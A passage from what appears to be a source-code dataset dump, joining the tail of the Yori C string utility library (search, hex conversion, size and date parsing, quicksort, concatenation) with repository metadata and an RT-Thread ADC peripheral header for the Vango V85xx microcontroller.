YoriLibInitEmptyString(&RemainingString);
while (TRUE) {
RemainingString.LengthInChars++;
if (RemainingString.LengthInChars > String->LengthInChars) {
break;
}
RemainingString.StartOfString = &String->StartOfString[String->LengthInChars - RemainingString.LengthInChars];
for (CheckCount = 0; CheckCount < NumberMatches; CheckCount++) {
if (YoriLibCompareStringInsensitiveCount(&RemainingString, &MatchArray[CheckCount], MatchArray[CheckCount].LengthInChars) == 0) {
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = String->LengthInChars - RemainingString.LengthInChars;
}
return &MatchArray[CheckCount];
}
}
}
if (StringOffsetOfMatch != NULL) {
*StringOffsetOfMatch = 0;
}
return NULL;
}
/**
Search through a string finding the leftmost instance of a character. If
no match is found, return NULL.
@param String The string to search.
@param CharToFind The character to find.
@return Pointer to the leftmost matching character, or NULL if no match was
found.
*/
LPTSTR
YoriLibFindLeftMostCharacter(
__in PCYORI_STRING String,
__in TCHAR CharToFind
)
{
DWORD Index;
for (Index = 0; Index < String->LengthInChars; Index++) {
if (String->StartOfString[Index] == CharToFind) {
return &String->StartOfString[Index];
}
}
return NULL;
}
/**
Search through a string finding the rightmost instance of a character. If
no match is found, return NULL.
@param String The string to search.
@param CharToFind The character to find.
@return Pointer to the rightmost matching character, or NULL if no match was
found.
*/
LPTSTR
YoriLibFindRightMostCharacter(
__in PCYORI_STRING String,
__in TCHAR CharToFind
)
{
DWORD Index;
for (Index = String->LengthInChars; Index > 0; Index--) {
if (String->StartOfString[Index - 1] == CharToFind) {
return &String->StartOfString[Index - 1];
}
}
return NULL;
}
/**
Parse a string containing hex digits and generate a string that encodes each
two hex digits into a byte.
@param String Pointer to the string to parse.
@param Buffer Pointer to a buffer to populate with a string representation of
the hex characters. Note this string is always 8 bit, not TCHARs.
@param BufferSize Specifies the length of Buffer, in bytes.
@return TRUE to indicate parse success, FALSE to indicate failure. Failure
occurs if the input stream is not compliant hex, or is not aligned in
two character pairs.
*/
__success(return)
BOOL
YoriLibStringToHexBuffer(
__in PYORI_STRING String,
__out_ecount(BufferSize) PUCHAR Buffer,
__in DWORD BufferSize
)
{
UCHAR DestChar;
TCHAR SourceChar;
DWORD Offset;
DWORD Digit;
DWORD StrIndex;
//
// Loop through the output string
//
StrIndex = 0;
for (Offset = 0; Offset < BufferSize; Offset++) {
DestChar = 0;
Digit = 0;
//
// So long as we have a valid character, populate thischar. Do this exactly
// twice, so we have one complete byte.
//
while (Digit < 2 && StrIndex < String->LengthInChars) {
SourceChar = String->StartOfString[StrIndex];
if ((SourceChar >= '0' && SourceChar <= '9') ||
(SourceChar >= 'a' && SourceChar <= 'f') ||
(SourceChar >= 'A' && SourceChar <= 'F')) {
DestChar *= 16;
if (SourceChar >= '0' && SourceChar <= '9') {
DestChar = (UCHAR)(DestChar + SourceChar - '0');
} else if (SourceChar >= 'a' && SourceChar <= 'f') {
DestChar = (UCHAR)(DestChar + SourceChar - 'a' + 10);
} else if (SourceChar >= 'A' && SourceChar <= 'F') {
DestChar = (UCHAR)(DestChar + SourceChar - 'A' + 10);
}
StrIndex++;
Digit++;
} else {
break;
}
}
//
// If we did actually get two input chars, output the byte and go back for
// more. Otherwise, the input doesn't match the output requirement
//
if (Digit == 2) {
Buffer[Offset] = DestChar;
} else {
return FALSE;
}
}
return TRUE;
}
/**
Parse a buffer containing binary data and generate a string that encodes the
data into hex (implying two chars per byte.)
@param Buffer Pointer to a buffer to parse.
@param BufferSize Specifies the length of Buffer, in bytes.
@param String Pointer to the string to populate.
@return TRUE to indicate parse success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriLibHexBufferToString(
__in PUCHAR Buffer,
__in DWORD BufferSize,
__in PYORI_STRING String
)
{
UCHAR SourceChar;
UCHAR SourceNibble;
DWORD Offset;
DWORD StrIndex;
//
// Currently this routine assumes the caller allocated a large enough
// buffer. The buffer should hold two chars per byte plus a NULL.
//
if (String->LengthAllocated <= BufferSize * sizeof(TCHAR)) {
return FALSE;
}
//
// Loop through the buffer
//
StrIndex = 0;
for (Offset = 0; Offset < BufferSize; Offset++) {
SourceChar = Buffer[Offset];
SourceNibble = (UCHAR)(SourceChar >> 4);
if (SourceNibble >= 10) {
String->StartOfString[StrIndex] = (UCHAR)('a' + SourceNibble - 10);
} else {
String->StartOfString[StrIndex] = (UCHAR)('0' + SourceNibble);
}
StrIndex++;
SourceNibble = (UCHAR)(SourceChar & 0xF);
if (SourceNibble >= 10) {
String->StartOfString[StrIndex] = (UCHAR)('a' + SourceNibble - 10);
} else {
String->StartOfString[StrIndex] = (UCHAR)('0' + SourceNibble);
}
StrIndex++;
}
String->StartOfString[StrIndex] = '\0';
String->LengthInChars = StrIndex;
return TRUE;
}
/**
Parse a string specifying a file size and return a 64 bit unsigned integer
from the result. This function can parse prefixed hex or decimal inputs, and
understands file size qualifiers (k, m, g et al.)
@param String Pointer to the string to parse.
@return The parsed, 64 bit unsigned integer value from the string.
*/
LARGE_INTEGER
YoriLibStringToFileSize(
__in PCYORI_STRING String
)
{
TCHAR Suffixes[] = {'b', 'k', 'm', 'g', 't'};
DWORD SuffixLevel = 0;
LARGE_INTEGER FileSize;
DWORD i;
DWORD CharsConsumed;
if (!YoriLibStringToNumber(String, TRUE, &FileSize.QuadPart, &CharsConsumed)) {
return FileSize;
}
if (CharsConsumed < String->LengthInChars) {
TCHAR SuffixChar = String->StartOfString[CharsConsumed];
for (i = 0; i < sizeof(Suffixes)/sizeof(Suffixes[0]); i++) {
if (SuffixChar == Suffixes[i] || SuffixChar == (Suffixes[i] + 'A' - 'a')) {
SuffixLevel = i;
break;
}
}
while(SuffixLevel) {
FileSize.HighPart = (FileSize.HighPart << 10) + (FileSize.LowPart >> 22);
FileSize.LowPart = (FileSize.LowPart << 10);
SuffixLevel--;
}
}
return FileSize;
}
/**
Convert a 64 bit file size into a string. This function returns 3 or 4
significant digits followed by a suffix indicating the magnitude, for a
total of 5 chars.
@param String On successful completion, updated to contain the string form
of the file size. The caller should ensure this is allocated with
six chars on input.
@param FileSize The numeric file size.
@return TRUE to indicate success, FALSE to indicate failure.
*/
__success(return)
BOOL
YoriLibFileSizeToString(
__inout PYORI_STRING String,
__in PLARGE_INTEGER FileSize
)
{
TCHAR Suffixes[] = {'b', 'k', 'm', 'g', 't', '?'};
DWORD SuffixLevel = 0;
LARGE_INTEGER Size;
LARGE_INTEGER OldSize;
Size.QuadPart = FileSize->QuadPart;
OldSize.QuadPart = Size.QuadPart;
if (String->LengthAllocated < sizeof("12.3k")) {
return FALSE;
}
while (Size.HighPart != 0 || Size.LowPart > 9999) {
SuffixLevel++;
OldSize.QuadPart = Size.QuadPart;
//
// Conceptually we want to divide by 1024. We do this
// in two 32-bit shifts combining back the high bits
// so we don't need full compiler support.
//
Size.LowPart = (Size.LowPart >> 10) + ((Size.HighPart & 0x3ff) << 22);
Size.HighPart = (Size.HighPart >> 10) & 0x003fffff;
}
if (SuffixLevel >= sizeof(Suffixes)/sizeof(TCHAR)) {
SuffixLevel = sizeof(Suffixes)/sizeof(TCHAR) - 1;
}
if (Size.LowPart < 100 && SuffixLevel > 0) {
OldSize.LowPart = (OldSize.LowPart % 1024) * 10 / 1024;
String->LengthInChars = YoriLibSPrintfS(String->StartOfString,
String->LengthAllocated,
_T("%2i.%1i%c"),
(int)Size.LowPart,
(int)OldSize.LowPart,
Suffixes[SuffixLevel]);
} else {
String->LengthInChars = YoriLibSPrintfS(String->StartOfString,
String->LengthAllocated,
_T("%4i%c"),
(int)Size.LowPart,
Suffixes[SuffixLevel]);
}
return TRUE;
}
/**
Parse a string specifying a file date and return a timestamp from the result.
@param String Pointer to the string to parse.
@param Date On successful completion, updated to point to a timestamp.
@param CharsConsumed Optionally points to a value to update with the number of
characters consumed from String to generate the requested output.
@return TRUE to indicate success, FALSE to indicate parse failure.
*/
__success(return)
BOOL
YoriLibStringToDate(
__in PCYORI_STRING String,
__out LPSYSTEMTIME Date,
__out_opt PDWORD CharsConsumed
)
{
YORI_STRING Substring;
DWORD CurrentCharsConsumed;
DWORD TotalCharsConsumed;
LONGLONG llTemp;
YoriLibInitEmptyString(&Substring);
Substring.StartOfString = String->StartOfString;
Substring.LengthInChars = String->LengthInChars;
TotalCharsConsumed = 0;
if (!YoriLibStringToNumber(&Substring, TRUE, &llTemp, &CurrentCharsConsumed)) {
return FALSE;
}
Date->wYear = (WORD)llTemp;
if (Date->wYear < 100) {
Date->wYear += 2000;
}
TotalCharsConsumed += CurrentCharsConsumed;
if (CurrentCharsConsumed < Substring.LengthInChars && Substring.StartOfString[CurrentCharsConsumed] == '/') {
Substring.LengthInChars -= CurrentCharsConsumed + 1;
Substring.StartOfString += CurrentCharsConsumed + 1;
if (!YoriLibStringToNumber(&Substring, TRUE, &llTemp, &CurrentCharsConsumed)) {
return FALSE;
}
Date->wMonth = (WORD)llTemp;
TotalCharsConsumed += CurrentCharsConsumed + 1;
if (CurrentCharsConsumed < Substring.LengthInChars && Substring.StartOfString[CurrentCharsConsumed] == '/') {
Substring.LengthInChars -= CurrentCharsConsumed + 1;
Substring.StartOfString += CurrentCharsConsumed + 1;
if (!YoriLibStringToNumber(&Substring, TRUE, &llTemp, &CurrentCharsConsumed)) {
return FALSE;
}
Date->wDay = (WORD)llTemp;
TotalCharsConsumed += CurrentCharsConsumed + 1;
}
}
if (CharsConsumed != NULL) {
*CharsConsumed = TotalCharsConsumed;
}
return TRUE;
}
/**
Parse a string specifying a file time and return a timestamp from the result.
@param String Pointer to the string to parse.
@param Date On successful completion, updated to point to a timestamp.
@return TRUE to indicate success, FALSE to indicate parse failure.
*/
__success(return)
BOOL
YoriLibStringToTime(
__in PCYORI_STRING String,
__out LPSYSTEMTIME Date
)
{
YORI_STRING Substring;
DWORD CharsConsumed;
LONGLONG llTemp;
YoriLibInitEmptyString(&Substring);
Substring.StartOfString = String->StartOfString;
Substring.LengthInChars = String->LengthInChars;
if (!YoriLibStringToNumber(&Substring, TRUE, &llTemp, &CharsConsumed)) {
return FALSE;
}
Date->wHour = (WORD)llTemp;
if (CharsConsumed < Substring.LengthInChars && Substring.StartOfString[CharsConsumed] == ':') {
Substring.LengthInChars -= CharsConsumed + 1;
Substring.StartOfString += CharsConsumed + 1;
if (!YoriLibStringToNumber(&Substring, TRUE, &llTemp, &CharsConsumed)) {
return FALSE;
}
Date->wMinute = (WORD)llTemp;
if (CharsConsumed < Substring.LengthInChars && Substring.StartOfString[CharsConsumed] == ':') {
Substring.LengthInChars -= CharsConsumed + 1;
Substring.StartOfString += CharsConsumed + 1;
if (!YoriLibStringToNumber(&Substring, TRUE, &llTemp, &CharsConsumed)) {
return FALSE;
}
Date->wSecond = (WORD)llTemp;
}
}
return TRUE;
}
/**
Parse a string specifying a file date and time and return a timestamp from
the result.
@param String Pointer to the string to parse.
@param Date On successful completion, updated to point to a timestamp.
@return TRUE to indicate success, FALSE to indicate parse failure.
*/
__success(return)
BOOL
YoriLibStringToDateTime(
__in PCYORI_STRING String,
__out LPSYSTEMTIME Date
)
{
YORI_STRING Substring;
DWORD CharsConsumed;
if (!YoriLibStringToDate(String, Date, &CharsConsumed)) {
return FALSE;
}
Substring.StartOfString = String->StartOfString;
Substring.LengthInChars = String->LengthInChars;
if (CharsConsumed < Substring.LengthInChars && Substring.StartOfString[CharsConsumed] == ':') {
Substring.StartOfString += CharsConsumed + 1;
Substring.LengthInChars -= CharsConsumed + 1;
if (!YoriLibStringToTime(&Substring, Date)) {
return FALSE;
}
}
return TRUE;
}
/**
Swap the contents of two strings. This leaves the string data in its
current location and is only updating the pointers and lengths within the
string structures.
@param Str1 Pointer to the first string.
@param Str2 Pointer to the second string.
*/
VOID
YoriLibSwapStrings(
__inout PYORI_STRING Str1,
__inout PYORI_STRING Str2
)
{
YORI_STRING SwapString;
memcpy(&SwapString, Str2, sizeof(YORI_STRING));
memcpy(Str2, Str1, sizeof(YORI_STRING));
memcpy(Str1, &SwapString, sizeof(YORI_STRING));
}
/**
Sort an array of strings. This is currently implemented using a handrolled
quicksort.
@param StringArray Pointer to an array of strings.
@param Count The number of elements in the array.
*/
VOID
YoriLibSortStringArray(
__in_ecount(Count) PYORI_STRING StringArray,
__in DWORD Count
)
{
DWORD FirstOffset;
DWORD Index;
if (Count <= 1) {
return;
}
FirstOffset = 0;
while (TRUE) {
DWORD BreakPoint;
DWORD LastOffset;
YORI_STRING MidPoint;
volatile DWORD LastSwapFirst;
volatile DWORD LastSwapLast;
BreakPoint = Count / 2;
memcpy(&MidPoint, &StringArray[BreakPoint], sizeof(YORI_STRING));
FirstOffset = 0;
LastOffset = Count - 1;
//
// Scan from the beginning looking for an item that should be sorted
// after the midpoint.
//
for (FirstOffset = 0; FirstOffset < LastOffset; FirstOffset++) {
if (YoriLibCompareStringInsensitive(&StringArray[FirstOffset],&MidPoint) >= 0) {
for (; LastOffset > FirstOffset; LastOffset--) {
if (YoriLibCompareStringInsensitive(&StringArray[LastOffset],&MidPoint) < 0) {
LastSwapFirst = FirstOffset;
LastSwapLast = LastOffset;
YoriLibSwapStrings(&StringArray[FirstOffset], &StringArray[LastOffset]);
LastOffset--;
break;
}
}
if (LastOffset <= FirstOffset) {
break;
}
}
}
ASSERT(FirstOffset == LastOffset);
FirstOffset = LastOffset;
if (YoriLibCompareStringInsensitive(&StringArray[FirstOffset], &MidPoint) < 0) {
FirstOffset++;
}
//
// If no copies occurred, check if everything in the list is
// sorted.
//
if (FirstOffset == 0 || FirstOffset == Count) {
for (Index = 0; Index < Count - 1; Index++) {
if (YoriLibCompareStringInsensitive(&StringArray[Index], &StringArray[Index + 1]) > 0) {
break;
}
}
if (Index == Count - 1) {
return;
}
//
// Nothing was copied and it's not because it's identical. This
// implies a very bad choice of midpoint that belongs either at
// the beginning or the end (so nothing could move past it.)
// Move it around and repeat the process (which will get a new
// midpoint.)
//
if (FirstOffset == 0) {
ASSERT(YoriLibCompareStringInsensitive(&StringArray[0], &MidPoint) > 0);
if (YoriLibCompareStringInsensitive(&StringArray[0], &MidPoint) > 0) {
YoriLibSwapStrings(&StringArray[0], &StringArray[BreakPoint]);
}
} else {
ASSERT(YoriLibCompareStringInsensitive(&MidPoint, &StringArray[Count - 1]) > 0);
YoriLibSwapStrings(&StringArray[Count - 1], &StringArray[BreakPoint]);
}
} else {
break;
}
}
//
// If there are two sets (FirstOffset is not at either end), recurse.
//
if (FirstOffset && (Count - FirstOffset)) {
if (FirstOffset > 0) {
YoriLibSortStringArray(StringArray, FirstOffset);
}
if ((Count - FirstOffset) > 0) {
YoriLibSortStringArray(&StringArray[FirstOffset], Count - FirstOffset);
}
}
//
// Check that it's now sorted
//
for (Index = 0; Index < Count - 1; Index++) {
if (YoriLibCompareStringInsensitive(&StringArray[Index], &StringArray[Index + 1]) > 0) {
break;
}
}
ASSERT (Index == Count - 1);
}
/**
Concatenate one yori string to an existing yori string. Note the first
string may be reallocated within this routine and the caller is expected to
free it with @ref YoriLibFreeStringContents .
@param String The first string, which will be updated to have the contents
of the second string appended to it.
@param AppendString The string to copy to the end of the first string.
@return TRUE to indicate success, FALSE to indicate failure.
*/
BOOLEAN
YoriLibStringConcatenate(
__inout PYORI_STRING String,
__in PCYORI_STRING AppendString
)
{
DWORD LengthRequired;
LengthRequired = String->LengthInChars + AppendString->LengthInChars + 1;
if (LengthRequired > String->LengthAllocated) {
if (!YoriLibReallocateString(String, LengthRequired + 0x100)) {
return FALSE;
}
}
memcpy(&String->StartOfString[String->LengthInChars], AppendString->StartOfString, AppendString->LengthInChars * sizeof(TCHAR));
String->LengthInChars = String->LengthInChars + AppendString->LengthInChars;
String->StartOfString[String->LengthInChars] = '\0';
return TRUE;
}
/**
Concatenate a literal string to an existing yori string. Note the first
string may be reallocated within this routine and the caller is expected to
free it with @ref YoriLibFreeStringContents .
@param String The first string, which will be updated to have the contents
of the second string appended to it.
@param AppendString The string to copy to the end of the first string.
@return TRUE to indicate success, FALSE to indicate failure.
*/
BOOLEAN
YoriLibStringConcatenateWithLiteral(
__inout PYORI_STRING String,
__in LPCTSTR AppendString
)
{
YORI_STRING AppendYoriString;
//
// We need to length count the literal to ensure buffer sizes anyway,
// so convert it into a length counted string.
//
YoriLibConstantString(&AppendYoriString, AppendString);
return YoriLibStringConcatenate(String, &AppendYoriString);
}
// vim:sw=4:ts=4:et:
|
4cb42ff9a867176dfc7719c3cc1794bd56412a82
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/bsp/Vango/v85xx/Libraries/VangoV85xx_standard_peripheral/Include/lib_adc.h
|
1b82cb6b4ce3178148feddde293e95ac0f488cb5
|
[
"Apache-2.0",
"Zlib",
"LicenseRef-scancode-proprietary-license",
"MIT",
"BSD-3-Clause",
"X11",
"BSD-4-Clause-UC",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 12,351
|
h
|
lib_adc.h
|
/**
******************************************************************************
* @file lib_adc.h
* @author Application Team
* @version V4.6.0
* @date 2019-06-18
* @brief ADC library.
******************************************************************************
* @attention
*
******************************************************************************
*/
#ifndef __LIB_ADC_H
#define __LIB_ADC_H
#ifdef __cplusplus
extern "C" {
#endif
#include "target.h"
typedef struct
{
uint32_t TrigMode;
uint32_t ConvMode;
uint32_t ClockSource;
uint32_t ClockDivider;
uint32_t Channel;
} ADCInitType;
//TrigMode
#define ADC_TRIGMODE_AUTO 0
#define ADC_TRIGMODE_MANUAL ANA_ADCCTRL_MTRIG
#define IS_ADC_TRIGMODE(__TRIGMODE__) (((__TRIGMODE__) == ADC_TRIGMODE_AUTO) ||\
((__TRIGMODE__) == ADC_TRIGMODE_MANUAL))
//ConvMode
#define ADC_CONVMODE_SINGLECHANNEL 0
#define ADC_CONVMODE_MULTICHANNEL 1
#define IS_ADC_CONVMODE(__CONVMODE__) (((__CONVMODE__) == ADC_CONVMODE_SINGLECHANNEL) ||\
((__CONVMODE__) == ADC_CONVMODE_MULTICHANNEL))
//ClockSource
#define ADC_CLKSRC_RCH 0
#define ADC_CLKSRC_PLLL ANA_ADCCTRL_CLKSEL
#define IS_ADC_CLKSRC(__CLKSRC__) (((__CLKSRC__) == ADC_CLKSRC_RCH) ||\
((__CLKSRC__) == ADC_CLKSRC_PLLL))
//TrigSource
#define ADC_TRIGSOURCE_OFF ANA_ADCCTRL_AEN_OFF
#define ADC_TRIGSOURCE_TIM0 ANA_ADCCTRL_AEN_TMR0
#define ADC_TRIGSOURCE_TIM1 ANA_ADCCTRL_AEN_TMR1
#define ADC_TRIGSOURCE_TIM2 ANA_ADCCTRL_AEN_TMR2
#define ADC_TRIGSOURCE_TIM3 ANA_ADCCTRL_AEN_TMR3
#define IS_ADC_TRIGSOURCE(__TRIGSOURCE__) (((__TRIGSOURCE__) == ADC_TRIGSOURCE_OFF) ||\
((__TRIGSOURCE__) == ADC_TRIGSOURCE_TIM0) ||\
((__TRIGSOURCE__) == ADC_TRIGSOURCE_TIM1) ||\
((__TRIGSOURCE__) == ADC_TRIGSOURCE_TIM2) ||\
((__TRIGSOURCE__) == ADC_TRIGSOURCE_TIM3))
//ClockDivider
#define ADC_CLKDIV_1 ANA_ADCCTRL_CLKDIV_1
#define ADC_CLKDIV_2 ANA_ADCCTRL_CLKDIV_2
#define ADC_CLKDIV_3 ANA_ADCCTRL_CLKDIV_3
#define ADC_CLKDIV_4 ANA_ADCCTRL_CLKDIV_4
#define ADC_CLKDIV_5 ANA_ADCCTRL_CLKDIV_5
#define ADC_CLKDIV_6 ANA_ADCCTRL_CLKDIV_6
#define ADC_CLKDIV_7 ANA_ADCCTRL_CLKDIV_7
#define ADC_CLKDIV_8 ANA_ADCCTRL_CLKDIV_8
#define ADC_CLKDIV_9 ANA_ADCCTRL_CLKDIV_9
#define ADC_CLKDIV_10 ANA_ADCCTRL_CLKDIV_10
#define ADC_CLKDIV_11 ANA_ADCCTRL_CLKDIV_11
#define ADC_CLKDIV_12 ANA_ADCCTRL_CLKDIV_12
#define ADC_CLKDIV_13 ANA_ADCCTRL_CLKDIV_13
#define ADC_CLKDIV_14 ANA_ADCCTRL_CLKDIV_14
#define ADC_CLKDIV_15 ANA_ADCCTRL_CLKDIV_15
#define ADC_CLKDIV_16 ANA_ADCCTRL_CLKDIV_16
#define IS_ADC_CLKDIV(__CLKDIV__) (((__CLKDIV__) == ADC_CLKDIV_1) ||\
((__CLKDIV__) == ADC_CLKDIV_2) ||\
((__CLKDIV__) == ADC_CLKDIV_3) ||\
((__CLKDIV__) == ADC_CLKDIV_4) ||\
((__CLKDIV__) == ADC_CLKDIV_5) ||\
((__CLKDIV__) == ADC_CLKDIV_6) ||\
((__CLKDIV__) == ADC_CLKDIV_7) ||\
((__CLKDIV__) == ADC_CLKDIV_8) ||\
((__CLKDIV__) == ADC_CLKDIV_9) ||\
((__CLKDIV__) == ADC_CLKDIV_10) ||\
((__CLKDIV__) == ADC_CLKDIV_11) ||\
((__CLKDIV__) == ADC_CLKDIV_12) ||\
((__CLKDIV__) == ADC_CLKDIV_13) ||\
((__CLKDIV__) == ADC_CLKDIV_14) ||\
((__CLKDIV__) == ADC_CLKDIV_15) ||\
((__CLKDIV__) == ADC_CLKDIV_16))
//Channel
#define ADC_CHANNEL0 0
#define ADC_CHANNEL1 1
#define ADC_CHANNEL2 2
#define ADC_CHANNEL3 3
#define ADC_CHANNEL4 4
#define ADC_CHANNEL5 5
#define ADC_CHANNEL6 6
#define ADC_CHANNEL7 7
#define ADC_CHANNEL8 8
#define ADC_CHANNEL9 9
#define ADC_CHANNEL10 10
#define ADC_CHANNEL11 11
#define IS_ADC_CHANNEL(__CHANNEL__) (((__CHANNEL__) == ADC_CHANNEL0) ||\
((__CHANNEL__) == ADC_CHANNEL1) ||\
((__CHANNEL__) == ADC_CHANNEL2) ||\
((__CHANNEL__) == ADC_CHANNEL3) ||\
((__CHANNEL__) == ADC_CHANNEL4) ||\
((__CHANNEL__) == ADC_CHANNEL5) ||\
((__CHANNEL__) == ADC_CHANNEL6) ||\
((__CHANNEL__) == ADC_CHANNEL7) ||\
((__CHANNEL__) == ADC_CHANNEL8) ||\
((__CHANNEL__) == ADC_CHANNEL9) ||\
((__CHANNEL__) == ADC_CHANNEL10) ||\
((__CHANNEL__) == ADC_CHANNEL11))
//INTMask
#define ADC_INT_AUTODONE ANA_INTEN_INTEN1
#define ADC_INT_MANUALDONE ANA_INTEN_INTEN0
#define ADC_INT_Msk (ADC_INT_AUTODONE | ADC_INT_MANUALDONE)
#define IS_ADC_INT(__INT__) ((((__INT__) & ADC_INT_Msk) != 0U) &&\
(((__INT__) & ~ADC_INT_Msk) == 0U))
//ScaleDown
#define ADC_SCA_NONE 0
#define ADC_SCA_DIV2 ANA_ADCCTRL_CICSCA
#define IS_ADC_SCA(__SCA__) (((__SCA__) == ADC_SCA_NONE) || ((__SCA__) == ADC_SCA_DIV2))
//Skip
#define ADC_SKIP_4 ANA_ADCCTRL_CICSKIP_4
#define ADC_SKIP_5 ANA_ADCCTRL_CICSKIP_5
#define ADC_SKIP_6 ANA_ADCCTRL_CICSKIP_6
#define ADC_SKIP_7 ANA_ADCCTRL_CICSKIP_7
#define ADC_SKIP_0 ANA_ADCCTRL_CICSKIP_0
#define ADC_SKIP_1 ANA_ADCCTRL_CICSKIP_1
#define ADC_SKIP_2 ANA_ADCCTRL_CICSKIP_2
#define ADC_SKIP_3 ANA_ADCCTRL_CICSKIP_3
#define IS_ADC_SKIP(__SKIP__) (((__SKIP__) == ADC_SKIP_4) ||\
((__SKIP__) == ADC_SKIP_5) ||\
((__SKIP__) == ADC_SKIP_6) ||\
((__SKIP__) == ADC_SKIP_7) ||\
((__SKIP__) == ADC_SKIP_0) ||\
((__SKIP__) == ADC_SKIP_1) ||\
((__SKIP__) == ADC_SKIP_2) ||\
((__SKIP__) == ADC_SKIP_3))
//DSRSelection
#define ADC_SDRSEL_DIV512 ANA_ADCCTRL_DSRSEL_512
#define ADC_SDRSEL_DIV256 ANA_ADCCTRL_DSRSEL_256
#define ADC_SDRSEL_DIV128 ANA_ADCCTRL_DSRSEL_128
#define ADC_SDRSEL_DIV64 ANA_ADCCTRL_DSRSEL_64
#define IS_ADC_SDR(__SDR__) (((__SDR__) == ADC_SDRSEL_DIV512) ||\
((__SDR__) == ADC_SDRSEL_DIV256) ||\
((__SDR__) == ADC_SDRSEL_DIV128) ||\
((__SDR__) == ADC_SDRSEL_DIV64))
typedef struct
{
float VDDVoltage;
float BATRTCVoltage;
float Temperature;
} ADC_CalResType;
//Division
#define ADC_BAT_CAPDIV (ANA_REG1_GDE4)
#define ADC_BAT_RESDIV (ANA_REG1_RESDIV)
#define IS_ADC_BATDIV(__BATDIV__) (((__BATDIV__) == ADC_BAT_CAPDIV) ||\
((__BATDIV__) == ADC_BAT_RESDIV))
/* ADC_GetVoltage */
//Mode
#define ADC_3V_EXTERNAL_NODIV (0x000UL) // Power supply: 3.3V; Channel: External; Divider modeL: None
#define ADC_3V_EXTERNAL_RESDIV (0x001UL) // Power supply: 3.3V; Channel: External; Divider modeL: Resistive
#define ADC_3V_EXTERNAL_CAPDIV (0x002UL) // Power supply: 3.3V; Channel: External; Divider modeL: Capacitive
#define ADC_3V_VDD_RESDIV (0x003UL) // Power supply: 3.3V; Channel: VDD; Divider modeL: Resistive
#define ADC_3V_VDD_CAPDIV (0x004UL) // Power supply: 3.3V; Channel: VDD; Divider modeL: Capacitive
#define ADC_3V_BATRTC_RESDIV (0x005UL) // Power supply: 3.3V; Channel: BATRTC; Divider modeL: Resistive
#define ADC_3V_BATRTC_CAPDIV (0x006UL) // Power supply: 3.3V; Channel: BATRTC; Divider modeL: Capacitive
#define ADC_5V_EXTERNAL_NODIV (0x100UL) // Power supply: 5V; Channel: External; Divider modeL: None
#define ADC_5V_EXTERNAL_RESDIV (0x101UL) // Power supply: 5V; Channel: External; Divider modeL: Resistive
#define ADC_5V_EXTERNAL_CAPDIV (0x102UL) // Power supply: 5V; Channel: External; Divider modeL: Capacitive
#define ADC_5V_VDD_RESDIV (0x103UL) // Power supply: 5V; Channel: VDD; Divider modeL: Resistive
#define ADC_5V_VDD_CAPDIV (0x104UL) // Power supply: 5V; Channel: VDD; Divider modeL: Capacitive
#define ADC_5V_BATRTC_RESDIV (0x105UL) // Power supply: 5V; Channel: BATRTC; Divider modeL: Resistive
#define ADC_5V_BATRTC_CAPDIV (0x106UL) // Power supply: 5V; Channel: BATRTC; Divider modeL: Capacitive
#define IS_ADCVOL_MODE(__MODE__) (((__MODE__) == ADC_3V_EXTERNAL_NODIV) ||\
((__MODE__) == ADC_3V_EXTERNAL_RESDIV) ||\
((__MODE__) == ADC_3V_EXTERNAL_CAPDIV) ||\
((__MODE__) == ADC_3V_VDD_RESDIV) ||\
((__MODE__) == ADC_3V_VDD_CAPDIV) ||\
((__MODE__) == ADC_3V_BATRTC_RESDIV) ||\
((__MODE__) == ADC_3V_BATRTC_CAPDIV) ||\
((__MODE__) == ADC_5V_EXTERNAL_NODIV) ||\
((__MODE__) == ADC_5V_EXTERNAL_RESDIV) ||\
((__MODE__) == ADC_5V_EXTERNAL_CAPDIV) ||\
((__MODE__) == ADC_5V_VDD_RESDIV) ||\
((__MODE__) == ADC_5V_VDD_CAPDIV) ||\
((__MODE__) == ADC_5V_BATRTC_RESDIV) ||\
((__MODE__) == ADC_5V_BATRTC_CAPDIV))
/* Exported Functions ------------------------------------------------------- */
/* ADC Exported Functions Group1:
(De)Initialization -------------------------*/
void ADC_DeInit(void);
void ADC_StructInit(ADCInitType* ADC_InitStruct);
void ADC_Init(ADCInitType* ADC_InitStruct);
/* ADC Exported Functions Group2:
Get NVR Info, Calculate datas --------------*/
uint32_t ADC_CalculateVoltage(uint32_t Mode, int16_t adc_data, float *Voltage);
uint32_t ADC_GetVDDVoltage_Fast(uint32_t Division, ADC_CalResType *CalResults);
uint32_t ADC_GetVDDVoltage_Normal(uint32_t Division, ADC_CalResType *CalResults);
uint32_t ADC_GetBATRTCVoltage_Fast(uint32_t Division, ADC_CalResType *CalResults);
uint32_t ADC_GetBATRTCVoltage_Normal(uint32_t Division, ADC_CalResType *CalResults);
uint32_t ADC_GetTemperature(ADC_CalResType *CalResults);
/* ADC Exported Functions Group3:
Interrupt (flag) ---------------------------*/
int16_t ADC_GetADCConversionValue(uint32_t Channel);
void ADC_INTConfig(uint32_t INTMask, uint32_t NewState);
uint8_t ADC_GetAutoDoneFlag(void);
uint8_t ADC_GetManualDoneFlag(void);
void ADC_ClearAutoDoneFlag(void);
void ADC_ClearManualDoneFlag(void);
/* ADC Exported Functions Group4:
MISC Configuration -------------------------*/
uint32_t ADC_Cmd(uint32_t NewState);
void ADC_StartManual(void);
void ADC_WaitForManual(void);
void ADC_TrigSourceConfig(uint32_t TrigSource);
void ADC_RESDivisionCmd(uint32_t NewState);
void ADC_CAPDivisionCmd(uint32_t NewState);
//CIC Control
void ADC_CICAlwaysOnCmd(uint32_t NewState);
void ADC_CICINVCmd(uint32_t NewState);
void ADC_CICScaleDownConfig(uint32_t ScaleDown);
void ADC_CICSkipConfig(uint32_t Skip);
void ADC_CICDownSamRateConfig(uint32_t DSRSelection);
#ifdef __cplusplus
}
#endif
#endif /* __LIB_ADC_H */
/*********************************** END OF FILE ******************************/
|
97bd9b8117f582f11f0b3ad0da58d62b39da87a7
|
7c857119fe1505b1d80d6e62969661c06dc1a2f4
